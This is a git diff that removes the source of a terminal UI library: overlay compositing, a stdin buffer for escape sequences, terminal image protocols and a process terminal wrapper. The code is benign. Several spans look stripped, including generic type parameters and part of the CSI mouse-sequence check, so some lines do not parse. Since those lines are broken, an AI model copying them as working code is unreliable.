──────────────────────────────────────────────────── - -export interface OverlayEntry { - component: { render(width: number): string[]; invalidate?(): void }; - options?: OverlayOptions; - hidden: boolean; - focusOrder: number; -} - -/** Check if an overlay entry is currently visible */ -export function isOverlayVisible( - entry: OverlayEntry, - termWidth: number, - termHeight: number, -): boolean { - if (entry.hidden) return false; - if (entry.options?.visible) { - return entry.options.visible(termWidth, termHeight); - } - return true; -} - -/** - * Composite all visible overlays into content lines. - * Sorted by focusOrder (higher = on top). - */ -export function compositeOverlays( - lines: string[], - overlayStack: OverlayEntry[], - termWidth: number, - termHeight: number, - maxLinesRendered: number, -): string[] { - if (overlayStack.length === 0) return lines; - const result = [...lines]; - - // Pre-render all visible overlays and calculate positions - const rendered: { - overlayLines: string[]; - row: number; - col: number; - w: number; - }[] = []; - let minLinesNeeded = result.length; - - const visibleEntries = overlayStack.filter((e) => - isOverlayVisible(e, termWidth, termHeight), - ); - visibleEntries.sort((a, b) => a.focusOrder - b.focusOrder); - for (const entry of visibleEntries) { - const { component, options } = entry; - - // Get layout with height=0 first to determine width and maxHeight - // (width and maxHeight don't depend on overlay height) - const { width, maxHeight } = resolveOverlayLayout( - options, - 0, - termWidth, - termHeight, - ); - - // Render component at calculated width - let overlayLines = component.render(width); - - // Apply maxHeight if specified - if (maxHeight !== undefined && overlayLines.length > maxHeight) { - overlayLines = overlayLines.slice(0, maxHeight); - } - - // Get final row/col with actual overlay height - const { row, col } = resolveOverlayLayout( - options, - overlayLines.length, - termWidth, - termHeight, - ); - - rendered.push({ overlayLines, row, col, w: width }); - minLinesNeeded = Math.max(minLinesNeeded, row + overlayLines.length); - } - - // Ensure result covers the terminal working area to keep overlay positioning stable across resizes. - // maxLinesRendered can exceed current content length after a shrink; pad to keep viewportStart consistent. - const workingHeight = Math.max(maxLinesRendered, minLinesNeeded); - - // Extend result with empty lines if content is too short for overlay placement or working area - while (result.length < workingHeight) { - result.push(""); - } - - const viewportStart = Math.max(0, workingHeight - termHeight); - - // Apply backdrop dimming if any visible overlay requests it. - // Uses dim + gray foreground so text fades without painting empty lines. - const hasBackdrop = visibleEntries.some((e) => e.options?.backdrop); - if (hasBackdrop) { - const dimFn = (text: string) => - `\x1b[2m\x1b[38;5;240m${text}\x1b[39m\x1b[22m`; - for (let i = viewportStart; i < result.length; i++) { - if (!isImageLine(result[i]) && result[i].length > 0) { - result[i] = applyBackgroundToLine(result[i], termWidth, dimFn); - } - } - } - - // Composite each overlay - for (const { overlayLines, row, col, w } of rendered) { - for (let i = 0; i < overlayLines.length; i++) { - const idx = viewportStart + row + i; - if (idx >= 0 && idx < result.length) { - // Defensive: truncate overlay line to declared width before compositing - // (components should already respect width, but this ensures it) - const truncatedOverlayLine = - visibleWidth(overlayLines[i]) > w - ? sliceByColumn(overlayLines[i], 0, w, true) - : overlayLines[i]; - result[idx] = compositeLineAt( - result[idx], - truncatedOverlayLine, - col, - w, - termWidth, - ); - } - } - } - - return result; -} - -// ─── Cursor extraction ────────────────────────────────────────────────────── - -/** - * Find and extract cursor position from rendered lines. - * Searches for CURSOR_MARKER, calculates its position, and strips it from the output. - * Only scans the bottom terminal height lines (visible viewport). - * @param lines - Rendered lines to search (mutated to strip marker) - * @param height - Terminal height (visible viewport size) - * @returns Cursor position { row, col } or null if no marker found - */ -export function extractCursorPosition( - lines: string[], - height: number, -): { row: number; col: number } | null { - // Only scan the bottom `height` lines (visible viewport) - const viewportTop = Math.max(0, lines.length - height); - for (let row = lines.length - 1; row >= viewportTop; row--) { - const line = lines[row]; - const markerIndex = line.indexOf(CURSOR_MARKER); - if (markerIndex !== -1) { - // Calculate visual column (width of text before marker) - const beforeMarker = line.slice(0, markerIndex); - const col = visibleWidth(beforeMarker); - - // Strip marker from the line - lines[row] = - line.slice(0, markerIndex) + - line.slice(markerIndex + CURSOR_MARKER.length); - - return { row, col }; - } - } - return null; -} diff --git a/packages/pi-tui/src/stdin-buffer.ts b/packages/pi-tui/src/stdin-buffer.ts deleted file mode 100644 index f7c1f75d7..000000000 --- a/packages/pi-tui/src/stdin-buffer.ts +++ /dev/null @@ -1,408 +0,0 @@ -/** - * StdinBuffer buffers input and emits complete sequences. - * - * This is necessary because stdin data events can arrive in partial chunks, - * especially for escape sequences like mouse events. Without buffering, - * partial sequences can be misinterpreted as regular keypresses. - * - * For example, the mouse SGR sequence `\x1b[<35;20;5m` might arrive as: - * - Event 1: `\x1b` - * - Event 2: `[<35` - * - Event 3: `;20;5m` - * - * The buffer accumulates these until a complete sequence is detected. - * Call the `process()` method to feed input data. - * - * Based on code from OpenTUI (https://github.com/anomalyco/opentui) - * MIT License - Copyright (c) 2025 opentui - */ - -import { EventEmitter } from "node:events"; - -const ESC = "\x1b"; -const BRACKETED_PASTE_START = "\x1b[200~"; -const BRACKETED_PASTE_END = "\x1b[201~"; - -/** - * Check if a string is a complete escape sequence or needs more data - */ -function isCompleteSequence( - data: string, -): "complete" | "incomplete" | "not-escape" { - if (!data.startsWith(ESC)) { - return "not-escape"; - } - - if (data.length === 1) { - return "incomplete"; - } - - const afterEsc = data.slice(1); - - // CSI sequences: ESC [ - if (afterEsc.startsWith("[")) { - // Check for old-style mouse sequence: ESC[M + 3 bytes - if (afterEsc.startsWith("[M")) { - // Old-style mouse needs ESC[M + 3 bytes = 6 total - return data.length >= 6 ? "complete" : "incomplete"; - } - return isCompleteCsiSequence(data); - } - - // OSC sequences: ESC ] - if (afterEsc.startsWith("]")) { - return isCompleteOscSequence(data); - } - - // DCS sequences: ESC P ... ESC \ (includes XTVersion responses) - if (afterEsc.startsWith("P")) { - return isCompleteDcsSequence(data); - } - - // APC sequences: ESC _ ... ESC \ (includes Kitty graphics responses) - if (afterEsc.startsWith("_")) { - return isCompleteApcSequence(data); - } - - // SS3 sequences: ESC O - if (afterEsc.startsWith("O")) { - // ESC O followed by a single character - return afterEsc.length >= 2 ? "complete" : "incomplete"; - } - - // Meta key sequences: ESC followed by a single character - if (afterEsc.length === 1) { - return "complete"; - } - - // Unknown escape sequence - treat as complete - return "complete"; -} - -/** - * Check if CSI sequence is complete - * CSI sequences: ESC [ ... followed by a final byte (0x40-0x7E) - */ -function isCompleteCsiSequence(data: string): "complete" | "incomplete" { - if (!data.startsWith(`${ESC}[`)) { - return "complete"; - } - - // Need at least ESC [ and one more character - if (data.length < 3) { - return "incomplete"; - } - - const payload = data.slice(2); - - // CSI sequences end with a byte in the range 0x40-0x7E (@-~) - // This includes all letters and several special characters - const lastChar = payload[payload.length - 1]; - const lastCharCode = lastChar.charCodeAt(0); - - if (lastCharCode >= 0x40 && lastCharCode <= 0x7e) { - // Special handling for SGR mouse sequences - // Format: ESC[ /^\d+$/.test(p))) { - return "complete"; - } - } - - return "incomplete"; - } - - return "complete"; - } - - return "incomplete"; -} - -/** - * Check if OSC sequence is complete - * OSC sequences: ESC ] ... ST (where ST is ESC \ or BEL) - */ -function isCompleteOscSequence(data: string): "complete" | "incomplete" { - if (!data.startsWith(`${ESC}]`)) { - return "complete"; - } - - // OSC sequences end with ST (ESC \) or BEL (\x07) - if (data.endsWith(`${ESC}\\`) || data.endsWith("\x07")) { - return "complete"; - } - - return "incomplete"; -} - -/** - * Check if DCS (Device Control String) sequence is complete - * DCS sequences: ESC P ... ST (where ST is ESC \) - * Used for XTVersion responses like ESC P >| ... ESC \ - */ -function isCompleteDcsSequence(data: string): "complete" | "incomplete" { - if (!data.startsWith(`${ESC}P`)) { - return "complete"; - } - - // DCS sequences end with ST (ESC \) - if (data.endsWith(`${ESC}\\`)) { - return "complete"; - } - - return "incomplete"; -} - -/** - * Check if APC (Application Program Command) sequence is complete - * APC sequences: ESC _ ... ST (where ST is ESC \) - * Used for Kitty graphics responses like ESC _ G ... ESC \ - */ -function isCompleteApcSequence(data: string): "complete" | "incomplete" { - if (!data.startsWith(`${ESC}_`)) { - return "complete"; - } - - // APC sequences end with ST (ESC \) - if (data.endsWith(`${ESC}\\`)) { - return "complete"; - } - - return "incomplete"; -} - -/** - * Split accumulated buffer into complete sequences - */ -function extractCompleteSequences(buffer: string): { - sequences: string[]; - remainder: string; -} { - const sequences: string[] = []; - let pos = 0; - - while (pos < buffer.length) { - const remaining = buffer.slice(pos); - - // Try to extract a sequence starting at this position - if (remaining.startsWith(ESC)) { - // Find the end of this escape sequence - let seqEnd = 1; - while (seqEnd <= remaining.length) { - const candidate = remaining.slice(0, seqEnd); - const status = isCompleteSequence(candidate); - - if (status === "complete") { - sequences.push(candidate); - pos += seqEnd; - break; - } else if (status === "incomplete") { - seqEnd++; - } else { - // Should not happen when starting with ESC - sequences.push(candidate); - pos += seqEnd; - break; - } - } - - if (seqEnd > remaining.length) { - return { sequences, remainder: remaining }; - } - } else { - // Not an escape sequence - take a single character - sequences.push(remaining[0]!); - pos++; - } - } - - return { sequences, remainder: "" }; -} - -export type StdinBufferOptions = { - /** - * Maximum time to wait for sequence completion (default: 10ms) - * After this time, the buffer is flushed even if incomplete - */ - timeout?: number; -}; - -export type StdinBufferEventMap = { - data: [string]; - paste: [string]; -}; - -/** - * Buffers stdin input and emits complete sequences via the 'data' event. - * Handles partial escape sequences that arrive across multiple chunks. - */ -export class StdinBuffer extends EventEmitter { - private buffer: string = ""; - private timeout: ReturnType | null = null; - private readonly timeoutMs: number; - private pasteMode: boolean = false; - private pasteBuffer: string = ""; - - constructor(options: StdinBufferOptions = {}) { - super(); - this.timeoutMs = options.timeout ?? 10; - } - - public process(data: string | Buffer): void { - // Clear any pending timeout - if (this.timeout) { - clearTimeout(this.timeout); - this.timeout = null; - } - - // Handle high-byte conversion (for compatibility with parseKeypress) - // If buffer has single byte > 127, convert to ESC + (byte - 128) - let str: string; - if (Buffer.isBuffer(data)) { - if (data.length === 1 && data[0]! > 127) { - const byte = data[0]! - 128; - str = `\x1b${String.fromCharCode(byte)}`; - } else { - str = data.toString(); - } - } else { - str = data; - } - - if (str.length === 0 && this.buffer.length === 0) { - this.emit("data", ""); - return; - } - - this.buffer += str; - - if (this.pasteMode) { - this.pasteBuffer += this.buffer; - this.buffer = ""; - - const endIndex = this.pasteBuffer.indexOf(BRACKETED_PASTE_END); - if (endIndex !== -1) { - const pastedContent = this.pasteBuffer.slice(0, endIndex); - const remaining = this.pasteBuffer.slice( - endIndex + BRACKETED_PASTE_END.length, - ); - - this.pasteMode = false; - this.pasteBuffer = ""; - - this.emit("paste", pastedContent); - - if (remaining.length > 0) { - this.process(remaining); - } - } - return; - } - - const startIndex = this.buffer.indexOf(BRACKETED_PASTE_START); - if (startIndex !== -1) { - if (startIndex > 0) { - const beforePaste = this.buffer.slice(0, startIndex); - const result = extractCompleteSequences(beforePaste); - for (const sequence of result.sequences) { - this.emit("data", sequence); - } - } - - this.buffer = this.buffer.slice( - startIndex + BRACKETED_PASTE_START.length, - ); - this.pasteMode = true; - this.pasteBuffer = this.buffer; - this.buffer = ""; - - const endIndex = this.pasteBuffer.indexOf(BRACKETED_PASTE_END); - if (endIndex !== -1) { - const pastedContent = this.pasteBuffer.slice(0, endIndex); - const remaining = this.pasteBuffer.slice( - endIndex + BRACKETED_PASTE_END.length, - ); - - this.pasteMode = false; - this.pasteBuffer = ""; - - this.emit("paste", pastedContent); - - if (remaining.length > 0) { - this.process(remaining); - } - } - return; - } - - const result = extractCompleteSequences(this.buffer); - this.buffer = result.remainder; - - for (const sequence of result.sequences) { - this.emit("data", sequence); - } - - if (this.buffer.length > 0) { - this.timeout = setTimeout(() => { - const flushed = this.flush(); - - for (const sequence of flushed) { - this.emit("data", sequence); - } - }, this.timeoutMs); - } - } - - flush(): string[] { - if (this.timeout) { - clearTimeout(this.timeout); - this.timeout = null; - } - - if (this.buffer.length === 0) { - return []; - } - - // Keep incomplete escape prefixes buffered so split CSI/mouse/focus - // sequences do not get emitted as literal text on timeout. - // A lone ESC is still flushed so an actual Escape keypress is not lost. - if ( - this.buffer.length > 1 && - this.buffer.startsWith(ESC) && - isCompleteSequence(this.buffer) === "incomplete" - ) { - return []; - } - - const sequences = [this.buffer]; - this.buffer = ""; - return sequences; - } - - clear(): void { - if (this.timeout) { - clearTimeout(this.timeout); - this.timeout = null; - } - this.buffer = ""; - this.pasteMode = false; - this.pasteBuffer = ""; - } - - getBuffer(): string { - return this.buffer; - } - - destroy(): void { - this.clear(); - } -} diff --git a/packages/pi-tui/src/terminal-image.ts b/packages/pi-tui/src/terminal-image.ts deleted file mode 100644 index a7b310d10..000000000 --- a/packages/pi-tui/src/terminal-image.ts +++ /dev/null @@ -1,280 +0,0 @@ -export type ImageProtocol = "kitty" | "iterm2" | null; - -export interface TerminalCapabilities { - images: ImageProtocol; - trueColor: boolean; - hyperlinks: boolean; -} - -export interface CellDimensions { - widthPx: number; - heightPx: number; -} - -export interface ImageDimensions { - widthPx: number; - heightPx: number; -} - -export interface ImageRenderOptions { - maxWidthCells?: number; - maxHeightCells?: number; - preserveAspectRatio?: boolean; - /** Kitty image ID. If provided, reuses/replaces existing image with this ID. */ - imageId?: number; -} - -let cachedCapabilities: TerminalCapabilities | null = null; - -// Default cell dimensions - updated by TUI when terminal responds to query -let cellDimensions: CellDimensions = { widthPx: 9, heightPx: 18 }; - -export function getCellDimensions(): CellDimensions { - return cellDimensions; -} - -export function setCellDimensions(dims: CellDimensions): void { - cellDimensions = dims; -} - -export function detectCapabilities(): TerminalCapabilities { - const termProgram = process.env.TERM_PROGRAM?.toLowerCase() || ""; - const term = process.env.TERM?.toLowerCase() || ""; - const colorTerm = process.env.COLORTERM?.toLowerCase() || ""; - const isCmux = Boolean( - process.env.CMUX_WORKSPACE_ID && process.env.CMUX_SURFACE_ID, - ); - - if (process.env.KITTY_WINDOW_ID || termProgram === "kitty") { - return { images: "kitty", trueColor: true, hyperlinks: true }; - } - - if (isCmux) { - return { images: "kitty", trueColor: true, hyperlinks: true }; - } - - if ( - termProgram === "ghostty" || - term.includes("ghostty") || - process.env.GHOSTTY_RESOURCES_DIR - ) { - return { images: "kitty", trueColor: true, hyperlinks: true }; - } - - if (process.env.WEZTERM_PANE || termProgram === "wezterm") { - return { images: "kitty", trueColor: true, hyperlinks: true }; - } - - if (process.env.ITERM_SESSION_ID || termProgram === "iterm.app") { - return { images: "iterm2", trueColor: true, hyperlinks: true }; - } - - if (termProgram === "vscode") { - return { images: null, trueColor: true, hyperlinks: true }; - } - - if (termProgram === "alacritty") { - return { images: null, trueColor: true, hyperlinks: true }; - } - - const trueColor = colorTerm === "truecolor" || colorTerm === "24bit"; - return { images: null, trueColor, hyperlinks: true }; -} - -export function getCapabilities(): TerminalCapabilities { - if (!cachedCapabilities) { - cachedCapabilities = detectCapabilities(); - } - return cachedCapabilities; -} - -export function resetCapabilitiesCache(): void { - cachedCapabilities = null; -} - -const KITTY_PREFIX = "\x1b_G"; -const ITERM2_PREFIX = "\x1b]1337;File="; - -export function isImageLine(line: string): boolean { - // Fast path: sequence at line start (single-row images) - if (line.startsWith(KITTY_PREFIX) || line.startsWith(ITERM2_PREFIX)) { - return true; - } - // Slow path: sequence elsewhere (multi-row images have cursor-up prefix) - return line.includes(KITTY_PREFIX) || line.includes(ITERM2_PREFIX); -} - -/** - * Generate a random image ID for Kitty graphics protocol. - * Uses random IDs to avoid collisions between different module instances - * (e.g., main app vs extensions). - */ -export function allocateImageId(): number { - // Use random ID in range [1, 0xffffffff] to avoid collisions - return Math.floor(Math.random() * 0xfffffffe) + 1; -} - -export function encodeKitty( - base64Data: string, - options: { - columns?: number; - rows?: number; - imageId?: number; - } = {}, -): string { - const CHUNK_SIZE = 4096; - - const params: string[] = ["a=T", "f=100", "q=2"]; - - if (options.columns) params.push(`c=${options.columns}`); - if (options.rows) params.push(`r=${options.rows}`); - if (options.imageId) params.push(`i=${options.imageId}`); - - if (base64Data.length <= CHUNK_SIZE) { - return `\x1b_G${params.join(",")};${base64Data}\x1b\\`; - } - - const chunks: string[] = []; - let offset = 0; - let isFirst = true; - - while (offset < base64Data.length) { - const chunk = base64Data.slice(offset, offset + CHUNK_SIZE); - const isLast = offset + CHUNK_SIZE >= base64Data.length; - - if (isFirst) { - chunks.push(`\x1b_G${params.join(",")},m=1;${chunk}\x1b\\`); - isFirst = false; - } else if (isLast) { - chunks.push(`\x1b_Gm=0;${chunk}\x1b\\`); - } else { - chunks.push(`\x1b_Gm=1;${chunk}\x1b\\`); - } - - offset += CHUNK_SIZE; - } - - return chunks.join(""); -} - -/** - * Delete a Kitty graphics image by ID. - * Uses uppercase 'I' to also free the image data. - */ -export function deleteKittyImage(imageId: number): string { - return `\x1b_Ga=d,d=I,i=${imageId}\x1b\\`; -} - -/** - * Delete all visible Kitty graphics images. - * Uses uppercase 'A' to also free the image data. - */ -export function deleteAllKittyImages(): string { - return `\x1b_Ga=d,d=A\x1b\\`; -} - -export function encodeITerm2( - base64Data: string, - options: { - width?: number | string; - height?: number | string; - name?: string; - preserveAspectRatio?: boolean; - inline?: boolean; - } = {}, -): string { - const params: string[] = [`inline=${options.inline !== false ? 1 : 0}`]; - - if (options.width !== undefined) params.push(`width=${options.width}`); - if (options.height !== undefined) params.push(`height=${options.height}`); - if (options.name) { - const nameBase64 = Buffer.from(options.name).toString("base64"); - params.push(`name=${nameBase64}`); - } - if (options.preserveAspectRatio === false) { - params.push("preserveAspectRatio=0"); - } - - return `\x1b]1337;File=${params.join(";")}:${base64Data}\x07`; -} - -export function calculateImageRows( - imageDimensions: ImageDimensions, - targetWidthCells: number, - cellDimensions: CellDimensions = { widthPx: 9, heightPx: 18 }, -): number { - const targetWidthPx = targetWidthCells * cellDimensions.widthPx; - const scale = targetWidthPx / imageDimensions.widthPx; - const scaledHeightPx = imageDimensions.heightPx * scale; - const rows = Math.ceil(scaledHeightPx / cellDimensions.heightPx); - return Math.max(1, rows); -} - -/** - * Parse image dimensions using the native Rust image module. - * Auto-detects format from byte content (PNG, JPEG, GIF, WebP). - */ -export async function getImageDimensions( - base64Data: string, -): Promise { - const { parseImage: parse } = await import("@singularity-forge/native/image"); - try { - const bytes = new Uint8Array(Buffer.from(base64Data, "base64")); - const handle = await parse(bytes); - return { widthPx: handle.width, heightPx: handle.height }; - } catch { - return null; - } -} - -export function renderImage( - base64Data: string, - imageDimensions: ImageDimensions, - options: ImageRenderOptions = {}, -): { sequence: string; rows: number; imageId?: number } | null { - const caps = getCapabilities(); - - if (!caps.images) { - return null; - } - - const maxWidth = options.maxWidthCells ?? 80; - const rows = calculateImageRows( - imageDimensions, - maxWidth, - getCellDimensions(), - ); - - if (caps.images === "kitty") { - // Only use imageId if explicitly provided - static images don't need IDs - const sequence = encodeKitty(base64Data, { - columns: maxWidth, - rows, - imageId: options.imageId, - }); - return { sequence, rows, imageId: options.imageId }; - } - - if (caps.images === "iterm2") { - const sequence = encodeITerm2(base64Data, { - width: maxWidth, - height: "auto", - preserveAspectRatio: options.preserveAspectRatio ?? true, - }); - return { sequence, rows }; - } - - return null; -} - -export function imageFallback( - mimeType: string, - dimensions?: ImageDimensions, - filename?: string, -): string { - const parts: string[] = []; - if (filename) parts.push(filename); - parts.push(`[${mimeType}]`); - if (dimensions) parts.push(`${dimensions.widthPx}x${dimensions.heightPx}`); - return `[Image: ${parts.join(" ")}]`; -} diff --git a/packages/pi-tui/src/terminal.ts b/packages/pi-tui/src/terminal.ts deleted file mode 100644 index 49f032aaa..000000000 --- a/packages/pi-tui/src/terminal.ts +++ /dev/null @@ -1,377 +0,0 @@ -import * as fs from "node:fs"; -import { createRequire } from "node:module"; -import { setKittyProtocolActive } from "./keys.js"; -import { StdinBuffer } from "./stdin-buffer.js"; - -const cjsRequire = createRequire(import.meta.url); - -/** - * Minimal terminal interface for TUI - */ -export interface Terminal { - // Whether stdout is a real TTY (false for pipes, e.g. RPC bridge processes) - readonly isTTY: boolean; - - // Start the terminal with input and resize handlers - start(onInput: (data: string) => void, onResize: () => void): void; - - // Stop the terminal and restore state - stop(): void; - - /** - * Drain stdin before exiting to prevent Kitty key release events from - * leaking to the parent shell over slow SSH connections. - * @param maxMs - Maximum time to drain (default: 1000ms) - * @param idleMs - Exit early if no input arrives within this time (default: 50ms) - */ - drainInput(maxMs?: number, idleMs?: number): Promise; - - // Write output to terminal - write(data: string): void; - - // Get terminal dimensions - get columns(): number; - get rows(): number; - - // Whether Kitty keyboard protocol is active - get kittyProtocolActive(): boolean; - - // Cursor positioning (relative to current position) - moveBy(lines: number): void; // Move cursor up (negative) or down (positive) by N lines - - // Cursor visibility - hideCursor(): void; // Hide the cursor - showCursor(): void; // Show the cursor - - // Clear operations - clearLine(): void; // Clear current line - clearFromCursor(): void; // Clear from cursor to end of screen - clearScreen(): void; // Clear entire screen and move cursor to (0,0) - - // Title operations - setTitle(title: string): void; // Set terminal window title -} - -/** - * Real terminal using process.stdin/stdout - */ -export class ProcessTerminal implements Terminal { - private static _vtHandles: { - GetConsoleMode: any; - SetConsoleMode: any; - handle: any; - } | null = null; - private wasRaw = false; - private inputHandler?: (data: string) => void; - private resizeHandler?: () => void; - private _kittyProtocolActive = false; - private _modifyOtherKeysActive = false; - private stdinBuffer?: StdinBuffer; - private stdinDataHandler?: (data: string) => void; - private writeLogPath = process.env.PI_TUI_WRITE_LOG || ""; - - get isTTY(): boolean { - return !!process.stdout.isTTY; - } - - get kittyProtocolActive(): boolean { - return this._kittyProtocolActive; - } - - start(onInput: (data: string) => void, onResize: () => void): void { - // Non-TTY stdout (pipe) — skip TUI initialization entirely. - // RPC bridge processes communicate via JSON, not terminal escape codes. - // Without this guard, the render loop burns 500%+ CPU. (issue #3095) - if (!this.isTTY) { - return; - } - - this.inputHandler = onInput; - this.resizeHandler = onResize; - - // Save previous state and enable raw mode - this.wasRaw = process.stdin.isRaw || false; - if (process.stdin.setRawMode) { - process.stdin.setRawMode(true); - } - process.stdin.setEncoding("utf8"); - process.stdin.resume(); - - // Enable bracketed paste mode - terminal will wrap pastes in \x1b[200~ ... \x1b[201~ - process.stdout.write("\x1b[?2004h"); - - // Set up resize handler immediately - process.stdout.on("resize", this.resizeHandler); - - // Refresh terminal dimensions - they may be stale after suspend/resume - // (SIGWINCH is lost while process is stopped). Unix only. - if (process.platform !== "win32") { - process.kill(process.pid, "SIGWINCH"); - } - - // On Windows, enable ENABLE_VIRTUAL_TERMINAL_INPUT so the console sends - // VT escape sequences (e.g. \x1b[Z for Shift+Tab) instead of raw console - // events that lose modifier information. Must run AFTER setRawMode(true) - // since that resets console mode flags. - this.enableWindowsVTInput(); - - // Query and enable Kitty keyboard protocol - // The query handler intercepts input temporarily, then installs the user's handler - // See: https://sw.kovidgoyal.net/kitty/keyboard-protocol/ - this.queryAndEnableKittyProtocol(); - } - - /** - * Set up StdinBuffer to split batched input into individual sequences. - * This ensures components receive single events, making matchesKey/isKeyRelease work correctly. - * - * Also watches for Kitty protocol response and enables it when detected. - * This is done here (after stdinBuffer parsing) rather than on raw stdin - * to handle the case where the response arrives split across multiple events. - */ - private setupStdinBuffer(): void { - // 50ms matches xterm's default escapeCodeTimeout and gives enough headroom - // for escape sequences that arrive split across multiple stdin data events - // (e.g. \x1b arriving separately from [D due to event loop latency). - this.stdinBuffer = new StdinBuffer({ timeout: 50 }); - - // Kitty protocol response pattern: \x1b[?u - const kittyResponsePattern = /^\x1b\[\?(\d+)u$/; - - // Forward individual sequences to the input handler - this.stdinBuffer.on("data", (sequence) => { - // Check for Kitty protocol response (only if not already enabled) - if (!this._kittyProtocolActive) { - const match = sequence.match(kittyResponsePattern); - if (match) { - this._kittyProtocolActive = true; - setKittyProtocolActive(true); - - // Enable Kitty keyboard protocol (push flags) - // Flag 1 = disambiguate escape codes - // Flag 2 = report event types (press/repeat/release) - // Flag 4 = report alternate keys (shifted key, base layout key) - // Base layout key enables shortcuts to work with non-Latin keyboard layouts - process.stdout.write("\x1b[>7u"); - return; // Don't forward protocol response to TUI - } - } - - if (this.inputHandler) { - this.inputHandler(sequence); - } - }); - - // Re-wrap paste content with bracketed paste markers for existing editor handling - this.stdinBuffer.on("paste", (content) => { - if (this.inputHandler) { - this.inputHandler(`\x1b[200~${content}\x1b[201~`); - } - }); - - // Handler that pipes stdin data through the buffer - this.stdinDataHandler = (data: string) => { - this.stdinBuffer!.process(data); - }; - } - - /** - * Query terminal for Kitty keyboard protocol support and enable if available. - * - * Sends CSI ? u to query current flags. If terminal responds with CSI ? u, - * it supports the protocol and we enable it with CSI > 1 u. - * - * If no Kitty response arrives shortly after startup, fall back to enabling - * xterm modifyOtherKeys mode 2. This is needed for tmux, which can forward - * modified enter keys as CSI-u when extended-keys is enabled, but may not - * answer the Kitty protocol query. - * - * The response is detected in setupStdinBuffer's data handler, which properly - * handles the case where the response arrives split across multiple stdin events. - */ - private queryAndEnableKittyProtocol(): void { - this.setupStdinBuffer(); - process.stdin.on("data", this.stdinDataHandler!); - process.stdout.write("\x1b[?u"); - setTimeout(() => { - if (!this._kittyProtocolActive && !this._modifyOtherKeysActive) { - process.stdout.write("\x1b[>4;2m"); - this._modifyOtherKeysActive = true; - } - }, 150); - } - - /** - * On Windows, add ENABLE_VIRTUAL_TERMINAL_INPUT (0x0200) to the stdin - * console handle so the terminal sends VT sequences for modified keys - * (e.g. \x1b[Z for Shift+Tab). Without this, libuv's ReadConsoleInputW - * discards modifier state and Shift+Tab arrives as plain \t. - */ - private enableWindowsVTInput(): void { - if (process.platform !== "win32") return; - try { - if (!ProcessTerminal._vtHandles) { - const koffi = cjsRequire("koffi"); - const k32 = koffi.load("kernel32.dll"); - const GetStdHandle = k32.func("void* __stdcall GetStdHandle(int)"); - const GetConsoleMode = k32.func( - "bool __stdcall GetConsoleMode(void*, _Out_ uint32_t*)", - ); - const SetConsoleMode = k32.func( - "bool __stdcall SetConsoleMode(void*, uint32_t)", - ); - const STD_INPUT_HANDLE = -10; - const handle = GetStdHandle(STD_INPUT_HANDLE); - ProcessTerminal._vtHandles = { GetConsoleMode, SetConsoleMode, handle }; - } - const ENABLE_VIRTUAL_TERMINAL_INPUT = 0x0200; - const { GetConsoleMode, SetConsoleMode, handle } = - ProcessTerminal._vtHandles; - const mode = new Uint32Array(1); - GetConsoleMode(handle, mode); - if (!(mode[0]! & ENABLE_VIRTUAL_TERMINAL_INPUT)) { - SetConsoleMode(handle, mode[0]! | ENABLE_VIRTUAL_TERMINAL_INPUT); - } - } catch { - // koffi not available — Shift+Tab won't be distinguishable from Tab - } - } - - async drainInput(maxMs = 1000, idleMs = 50): Promise { - if (this._kittyProtocolActive) { - // Disable Kitty keyboard protocol first so any late key releases - // do not generate new Kitty escape sequences. - process.stdout.write("\x1b[4;0m"); - this._modifyOtherKeysActive = false; - } - - const previousHandler = this.inputHandler; - this.inputHandler = undefined; - - let lastDataTime = Date.now(); - const onData = () => { - lastDataTime = Date.now(); - }; - - process.stdin.on("data", onData); - const endTime = Date.now() + maxMs; - - try { - while (true) { - const now = Date.now(); - const timeLeft = endTime - now; - if (timeLeft <= 0) break; - if (now - lastDataTime >= idleMs) break; - await new Promise((resolve) => - setTimeout(resolve, Math.min(idleMs, timeLeft)), - ); - } - } finally { - process.stdin.removeListener("data", onData); - this.inputHandler = previousHandler; - } - } - - stop(): void { - // Disable bracketed paste mode - process.stdout.write("\x1b[?2004l"); - - // Disable Kitty keyboard protocol if not already done by drainInput() - if (this._kittyProtocolActive) { - process.stdout.write("\x1b[4;0m"); - this._modifyOtherKeysActive = false; - } - - // Clean up StdinBuffer - if (this.stdinBuffer) { - this.stdinBuffer.destroy(); - this.stdinBuffer = undefined; - } - - // Remove event handlers - if (this.stdinDataHandler) { - process.stdin.removeListener("data", this.stdinDataHandler); - this.stdinDataHandler = undefined; - } - this.inputHandler = undefined; - if (this.resizeHandler) { - process.stdout.removeListener("resize", this.resizeHandler); - this.resizeHandler = undefined; - } - - // Pause stdin to prevent any buffered input (e.g., Ctrl+D) from being - // re-interpreted after raw mode is disabled. This fixes a race condition - // where Ctrl+D could close the parent shell over SSH. - process.stdin.pause(); - - // Restore raw mode state - if (process.stdin.setRawMode) { - process.stdin.setRawMode(this.wasRaw); - } - } - - write(data: string): void { - process.stdout.write(data); - if (this.writeLogPath) { - try { - fs.appendFileSync(this.writeLogPath, data, { encoding: "utf8" }); - } catch { - // Ignore logging errors - } - } - } - - get columns(): number { - return process.stdout.columns || 80; - } - - get rows(): number { - return process.stdout.rows || 24; - } - - moveBy(lines: number): void { - if (lines > 0) { - // Move down - process.stdout.write(`\x1b[${lines}B`); - } else if (lines < 0) { - // Move up - process.stdout.write(`\x1b[${-lines}A`); - } - // lines === 0: no movement - } - - hideCursor(): void { - process.stdout.write("\x1b[?25l"); - } - - showCursor(): void { - process.stdout.write("\x1b[?25h"); - } - - clearLine(): void { - process.stdout.write("\x1b[K"); - } - - clearFromCursor(): void { - process.stdout.write("\x1b[J"); - } - - clearScreen(): void { - process.stdout.write("\x1b[2J\x1b[H"); // Clear screen and move to home (1,1) - } - - setTitle(title: string): void { - // OSC 0;title BEL - set terminal window title - process.stdout.write(`\x1b]0;${title}\x07`); - } -} diff --git a/packages/pi-tui/src/tui.ts b/packages/pi-tui/src/tui.ts deleted file mode 100644 index 4f18a39ea..000000000 --- a/packages/pi-tui/src/tui.ts +++ /dev/null @@ -1,1190 +0,0 @@ -/** - * Minimal TUI implementation with differential rendering - */ - -import * as fs from "node:fs"; -import * as os from "node:os"; -import * as path from "node:path"; -import { isKeyRelease, matchesKey } from "./keys.js"; -import { - applyLineResets, - compositeOverlays, - extractCursorPosition, - isOverlayVisible as isOverlayEntryVisible, -} from "./overlay-layout.js"; -import type { Terminal } from "./terminal.js"; -import { - getCapabilities, - isImageLine, - setCellDimensions, -} from "./terminal-image.js"; -import { truncateToWidth, visibleWidth } from "./utils.js"; - -/** - * Component interface - all components must implement this - */ -export interface Component { - /** - * Render the component to lines for the 